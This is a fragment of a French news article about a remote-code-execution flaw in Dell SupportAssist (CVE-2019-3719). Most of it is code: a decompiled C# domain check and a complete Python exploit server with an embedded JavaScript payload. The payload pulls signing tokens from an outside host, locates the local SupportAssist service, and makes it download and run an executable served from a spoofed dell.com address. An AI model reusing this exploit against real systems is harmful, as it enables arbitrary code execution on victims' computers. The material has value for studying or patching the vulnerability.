Une faille RCE affecte la plupart les ordinateurs de marque DELL qui tournent sous Windows

D'après les révélations d'un chercheur en sécurité

1
2
3
4
5
6
7
8
9
10
11
// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
public static bool ValidateDomain(Uri request, Uri urlReferrer)
{
return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) && request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");
}
 
// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
public static bool ValidateDomain(string domain)
{
return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from aiohttp import web
import asyncio
import string
import random
from threading import Thread
 
filename = ""
PAYLOAD = '''<script>var signatures = null;
var ports = [8884, 8883, 8886, 8885];
var server_port = 0;
function SendRequest(url) {
    var x = new XMLHttpRequest();
    x.open("GET", url, false);
    //x.timeout = 3500;
    x.send(null);    
    return {status: x.status, text: x.responseText};
}
function SendAsyncRequest(url, callback) {
    var x = new XMLHttpRequest();
    x.open("GET", url, true);
    x.onreadystatechange = callback;
    //x.timeout = 3500;
    x.send(null);    
    return {status: x.status, text: x.responseText};
}
function InitializeSignatures() {
    var signature_url = "https://bills-sandbox.000webhostapp.com/GetDellSignatures.php";
    var response = SendRequest(signature_url);
    if(response.status == 200) {
        signatures = JSON.parse(response.text);
    } else { // fuck this shouldn't happen
        console.log("fuck");
    }
}
function FindServer() {
    ports.forEach(function(port) {
        var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;
        var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});
    });
}
function guid() {
  function s4() {
    return Math.floor((1 + Math.random()) * 0x10000)
      .toString(16)
      .substring(1);
  }
  return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
}
function SendRCEPayload() {
    var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
    var xmlhttp = new XMLHttpRequest();   // new HttpRequest instance 
    xmlhttp.open("POST", auto_install_url, true);
    var files = [];
    files.push({
        "title": "SupportAssist RCE",
        "category": "Serial ATA",
        "name": "calc.EXE",
        "location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
        "isSecure": false,
        "fileUniqueId": guid(),
        "run": true,
        "installOrder": 2,
        "restricted": false,
        "fileStatus": -99,
        "driverId": "FXGNY",
        "dupInstallReturnCode": 0,
        "cssClass": "inactive-step",
        "isReboot": false,
        "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
        "$$hashKey": "object:210"});
    xmlhttp.send(JSON.stringify(files));
}
function GetClientSystemInfo() {
    var signature = signatures.ClientSystemInfoToken;
    var expires = signatures.Expires;
    var system_info_url = "http://127.0.0.1:" + server_port + "/clientservice/getclientsysteminfo?expires=" + signatures.Expires + "&signature=" + signatures.ClientSystemInfoToken + "&includeServiceTag=true&includeHealthInfo=true&includeCurrentsystemConfig=true";
    SendAsyncRequest(system_info_url, function(){ console.log(this.responseText);});
}
var port_timer;
function onFindPort() {
    clearTimeout(port_timer);
    SendRCEPayload();
}
InitializeSignatures();
FindServer();
port_timer = setTimeout(function(){if(server_port != 0){onFindPort()}}, 200);</script><h1>CVE-2019-3719</h1>'''
 
 
def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
 
def handle(request):
    global filename
    global PAYLOAD
    if request.headers["Host"] is not None:
        if "downloads.dell.com" in request.headers["Host"]:
            print("[+] Exploit binary requested.")
            return web.FileResponse(filename)
        elif "dell.com" in request.headers["Host"]:
            print("[+] Exploit payload requested.")
            return web.Response(text=PAYLOAD, headers={'Content-Type': 'text/html'})
 
    redirect_url = "http://dellrce.dell.com"
    return web.HTTPFound(redirect_url)
 
 
class WebServer:
    def __init__(self, payload_filename):
        global filename
        filename = payload_filename
 
        self.loop = asyncio.get_event_loop()
        app = web.Application(debug=True)
        app.add_routes([web.get('/{a:.*}', handle)])
        handler = app.make_handler()
        self.server = self.loop.create_server(handler, host='0.0.0.0', port=80)
 
        self.server_thread = Thread(target=self.server_handler, args=(self,))
        self.server_thread.start()
        print("[+] Webserver started.")
 
    def server_handler(self, arg):
        self.loop.run_until_complete(self.server)
self.loop.run_forever()